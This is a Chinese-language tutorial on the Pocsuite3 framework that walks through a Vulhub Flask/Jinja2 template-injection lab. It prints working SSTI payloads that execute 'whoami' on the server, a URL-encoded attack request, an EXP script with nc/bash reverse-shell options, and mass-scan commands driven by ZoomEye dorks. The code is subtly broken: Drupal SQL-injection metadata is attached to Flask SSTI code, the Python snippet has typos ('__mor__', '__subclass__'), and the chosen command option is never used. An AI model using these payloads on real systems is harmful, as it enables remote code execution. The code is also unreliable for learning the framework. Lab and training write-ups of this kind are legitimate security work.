前言

Pocsuite 是由知道创宇404实验室打造的一款开源的远程漏洞测试框架。

• 你可以直接使用 Pocsuite 进行漏洞的验证与利用；
• 你也可以基于 Pocsuite 进行 Poc/Exp 的开发，因为它也是一个 Poc 开发框架；
• 同时，你还可以在你的漏洞测试工具里直接集成 PocSuite，它也提供标准的调用类。

Pocsuite3 是完全由 Python3 编写，支持 Windows/Linux/Mac OSX 等系统，在原 Pocsuite 的基础上进行了整体的重写与升级，使整个框架更具有操作性和灵活性。

POC概念

POC（Proof of Concept），直译为“概念证明”，百度百科的权威定义如下： “概念证明是证实发布的漏洞真实性的测试代码”。它可能仅仅只是一小段代码，功能也比较简单，只要能够用来验证某一个或者一类漏洞真实存在即可。

POC与EXP的区别

很多人容易把这两个概念弄混淆，两者从定义上讲是有区别的：

1. POC可以看成是一段验证的代码，就像是一个证据，能够证明漏洞的真实性；
2. EXP（Exploit）：中文直译为“漏洞利用”，简单点讲，就是通过EXP能够实现漏洞的利用价值。比如某个系统存在SQL注入漏洞，我们可以编写EXP来提取数据库版本信息等。

但是有时两者也不太好区分。我们也可以在POC中加入Exploit的代码，现在很多开源的POC框架其实就是这样做的，比如下面会讲到的几个框架。

典型的POC框架

通常我们写POC除了考虑它的通用性以外，还会考虑批量化，线程等。POC写多了需要规范管理和使用，于是框架应运而生了。我们可以写一个POC框架，帮助我们实现批量化和线程输出报告等等其他功能，这样我们就可以专心写POC的代码而不需要考虑其他问题。目前国内有很多非常优秀框架，这里就介绍其中的几款：

（1）Pocsuite

Pocsuite框架现为知道创宇Seebug平台通用的漏洞验证框架，使用Python编写POC。可以提交POC换kb，kb可以用来兑换现金，挣点零花钱还是相当不错的。老司机们可能听过Sebug，那是Seebug的前身，2016年Sebug收购了另一个优秀框架Beebeeto后，更名为Seebug。

github地址：https://github.com/knownsec/pocsuite3

（2）Tangscan

Tangscan（唐朝扫描器）是wooyun社区的官方框架，使用Python编写POC。可以提交POC换汤圆，参与现金分红。Tangscan社区已经关闭，不知道还会不会开，里面的汤圆还没取出来呢。

github地址：https://github.com/WooYun/TangScan

（3）Bugscan

Bugscan是四叶草的官方框架，使用Python编写POC。提交POC插件获取rank 奖励，可兑换实物奖励，奖品还是蛮丰富的。

SDK下载地址：http://img.bugscan.net/bin/sdk.zip

还有其他一些优秀的框架没有介绍到。大家可以选择其中任意一个来使用，都非常不错。当然如果有兴趣，也可以自己写个框架，过程并不复杂。

Pocsuite

Pocsuite3在编写时参考了很多市面上的开源框架以及流行成熟的框架，在代码工程结构上参考了Sqlmap，Pocsuite-console 模式则参照了metasploit，所以PoC的代码格式和以前有些差别。Pocsuite3也提供了非常简单的接口调用，可以集成到其他安全工具内部。

下载安装

1、使用pip直接安装：
   pip3 install pocsuite3；
2、使用git直接克隆：
   git clone https://github.com/knownsec/Pocsuite.git;
3、直接下载并解压：
   wget https://github.com/knownsec/pocsuite/archive/master.zip
   unzip master.zip

本人使用第一种方法：

使用方法

在使用Pocsuite的时候，我们可以用 --verify 参数来调用 _verify 方法进行 POC 漏洞验证测试，用 --attack 参数来调用 _attack 方法进行 EXP 漏洞利用。

def _attack(self):
    result = {}
    #Write your code here
    return self.parse_output(result)

def _verify(self):
    result = {}
    #Write your code here
    return self.parse_output(result)

一些具体使用场景的命令如下：

1、verify 模式：验证目标是否存在漏洞
pocsuite -r tests/poc_example.py -u http://www.example.com/ --verify

2、attack 模式：向目标发起有效的攻击
pocsuite -r tests/poc_example.py -u http://www.example.com/ --attack

3、批量验证，将url写到一个txt
pocsuite -r test/poc_example.py -f url.txt --verify

4、加载 tests 目录下的所有 PoC 对目标进行测试（可以充当扫描器角色）
pocsuite -r tests/ -u http://www.example.com --verify

5、使用多线程，默认线程数为1
pocsuite -r test/ -f url.txt --verify --threads 10

调用ZoomEye API

Pocsuite 的强大之处还在于能够方便的调用 ZooneEye 和 Seebug 两大自家平台API。

--dork DORK ：             Zoomeye Dork ，用于在ZoomEye 搜索目标
--max-page MAX_PAGE ：     ZoomEye API 的请求翻页数（10 目标/页）
--search-type ：           ZoomEye API 搜索类型，web 或者 host
--vul-keyword VULKEYWORD ：Seebug 搜索关键词，用于在Seebug 搜索漏洞POC

eg：从ZoomEye中调用host批量验证某个POC

pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify

POC实例

下面借助一个实际的靶场案例来说明如何使用 Pocsuite 框架进行 POC/EXP 的编写。

靶场环境

演示案例借助 Vulhub 的一个漏洞环境——Flask（Jinja2）服务端模板注入漏洞，Github项目地址。Flask 是一个使用 Python 编写的轻量级 Web 应用框架，其模板引擎使用 Jinja2 。

此处借助本地 Ubuntu 虚拟机启用 docker 搭建靶场，编译及运行测试环境……然而编译下载镜像太慢了，忍不了，直接上VPS了。

启动完靶场，在浏览器进行访问：

来看看漏洞 Web 服务的代码，代码位于 app 目录下的 app.py 文件中，如下图所示：

可以看到 name 的值是直接从 get 参数获取的，所以 Template 是完全可控的。要测试漏洞是否存在，要看是否执行 Jinja2 语言。

这里测试下能否将模板语言传递到参数中，尝试提交参数：

进行注入测试：

Flask 漏洞主要利用了框架的特点，在 Flask 中，“{{}}” 中的内容会被当作代码执行，相应的防御措施就是要对“{{}}” 进行过滤，禁止此符号传入参数中。

POC编写

这里对于原著删除了没有使用到的代码，并且修改了一些语法错误：

# 调用pocsuite的一些API函数
from pocsuite3.api import Output, register_poc, requests, POCBase

# 继承POCBase类
class DemoPOC(POCBase):
    vulID = '1571'          # ssvid ID， 如果是提交漏洞的同时提交PoC，则写出0
    version = "1"           # 版本
    author = "seebug"       # 作者名称
    vulDate = '2014-10-16'  # 漏洞公开时间
    createDate = '2014-10-16'   #编写POC时间
    updateDate = '2014-10-16'   # 更新POC时间
    references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']    #漏洞地址来源，0day不用写
    name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'      # POC名称
    appPowerLink = 'https://www.drupal.org'         # 漏洞厂商的主页地址
    appName = 'Drupal'                              # 漏洞应用名称
    appVersion = '7.x'                              # 漏洞影响版本
    vulType = 'SQL Injection'                       # 漏洞类型
    desc = """
    Drupal 在处理IN语句时，展开数组时key带入SQL语句导致SQL注入，可以添加管理员，造成信息泄露
    """         # 漏洞简要描述
    samples = []        # 测试样例，使用POC测试成功的网站
    install_requires = []

    # 定义--verify参数，poc函数
    def _verify(self):
        '''verify mode'''
        result = {}
        path = "/?name="
        url = self.url + path
        payload = '{{22*22}}'

        # first req
        try:
            resq = requests.get(url + payload)
            print(resq.text)
            # 判断对象，服务器状态码，服务器页面回显是否正确
            if resq and resq.status_code == 200 and '484' in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            pass
        # 将服务器信息传入到该函数中
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable.')
        # 返回成功或失败消息
        return output
    
    # 定义--attack参数，attack函数
    def _attack(self):
        return self._verify()
    
# 注册poc
register_poc(DemoPOC)

上面这串代码比较简单，首先继承POCBase类并定义一些POC信息变量：

1. _verify()函数：检测漏洞(POC)代码块，一般最后返回主机信息，或测试成功后的信息。
2. _parse_output()函数：这里的作用是检测result变量是否有内容，若有则返回成功消息与输出result内容，没有则返回失败信息。
3. _attack()函数：攻击实(EXP)战代码块,与POC不同的是对服务器进行目的性或破坏性的行动,这里不多做介绍，下面会用到。

执行以上 POC 代码进行漏洞检测：

EXP 编写

在编写代码之前，我们需要了解一些python内置变量调动的知识：

__bases__：以元组返回一个类所直接继承的类。
__mor__：  以元组返回继承关系链。
__class__：返回对象所属的类。
__globals__：以字典返回函数所在模块命名空间中的所有变量。
__subclasses__()：以列表的返回类的子类。
__builtins__：内建函数

构建我们代码执行的脚本：

for c in ().__class__.__base__[0].__subclass__():
	if c.__name__=='_IterationGuard':
		c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

再将其语法格式转换为Jinja2:

{% for c in [].__class__.__base__.__subclasses__() %}
 {% if c.__name__=='_IterationGuard'%}
  {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
 {% endif %}
{% endfor %}

再将其转换为URL编码：

%7b%25+for+c+in+%5b%5d.__class__.__base__.__subclasses__()+%25%7d
+%7b%25+if+c.__name__%3d%3d%27_IterationGuard%27%25%7d
++%7b%7b+c.__init__.__globals__%5b%27__builtins__%27%5d%5b%27eval%27%5d(%22__import__(%27os%27).popen(%27whoami%27).read()%22)+%7d%7d
+%7b%25+endif+%25%7d
%7b%25+endfor+%25%7d

我们可以先尝试下是否能够成功：

下面就可以开始编写我们的 EXP 代码了：

from pocsuite3.api import Output, register_poc, requests, POCBase, REVERSE_PAYLOAD, OptDict
from collections import OrderedDict

class DemoPOC(POCBase):
    vulID = '1571'
    version = "1"
    author = "seebug"
    vulDate = '2014-10-16'
    createDate = '2014-10-16'
    updateDate = '2014-10-16'
    references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']
    name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC'
    appPowerLink = 'https://www.drupal.org'
    appName = 'Drupal'
    appVersion = '7.x'
    vulType = 'SQL Injection'
    desc = """
    Drupal 在处理IN语句时，展开数组时key带入SQL语句导致SQL注入，可以添加管理员，造成信息泄露
    """
    samples = []
    install_requires = []

    def _verify(self):
        """verify mode"""
        result = {}
        path = "/?name="
        url = self.url + path
        payload = "{{22*22}}"
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['NAME'] = payload
        except Exception as e:
            pass
        return self.parse_output(result)
	
    # 定义其他选项参数
    def _options(self):
        # 字典排序
        o = OrderedDict()
        payload = {
            "nc" : REVERSE_PAYLOAD.NC,
            "bash" : REVERSE_PAYLOAD.BASH,
        }
        # 设置默认值
        o["command"] = OptDict(selected="bash", default=payload)
        return o


    def _attack(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        #print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text 
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return 
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("target is not vulnerable")
        return output

register_poc(DemoPOC)

这里比较简单就不做其他的注释了。最后成功执行命令：

在实际渗透测试过程中接触到的类似漏洞验证脚本非常多，所以在寻找和使用时会浪费大量时间。将漏洞验证 POC 及 EXP 通过渗透测试框架整理出来再使用，便会非常方便，提升了工作效率。